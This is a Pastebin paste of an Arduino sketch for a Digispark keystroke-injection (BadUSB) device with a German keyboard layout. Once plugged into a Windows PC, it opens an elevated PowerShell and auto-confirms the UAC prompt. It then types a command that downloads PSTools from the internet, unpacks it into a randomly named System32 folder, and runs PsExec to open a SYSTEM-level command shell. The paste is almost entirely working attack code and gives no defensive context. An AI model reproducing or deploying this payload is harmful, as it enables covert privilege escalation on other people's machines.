Advertisement
Guest User

Untitled

a guest
Jul 21st, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.74 KB | None | 0 0
  1. #include <DigiKeyboardDe.h>
  2. void setup() {
  3. DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  4. DigiKeyboard.delay(200);
  5. DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  6. DigiKeyboard.delay(500);
  7. DigiKeyboardDe.println("powershell -Command Start-Process powershell -verb runAs");
  8. DigiKeyboard.delay(500);
  9. DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  10. DigiKeyboard.delay(100);
  11. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  12. DigiKeyboard.delay(750);
  13. DigiKeyboardDe.println("$ran = Get-Random ; Start-BitsTransfer https://download.sysinternals.com/files/PSTools.zip ; Expand-Archive PStools.zip C:\\Windows\\system32\\$ran ; cd .\\$ran\\ ; .\\PsExec.exe -i -s -d cmd.exe ; exit");
  14. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  15. }
  16. void loop() {
  17. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement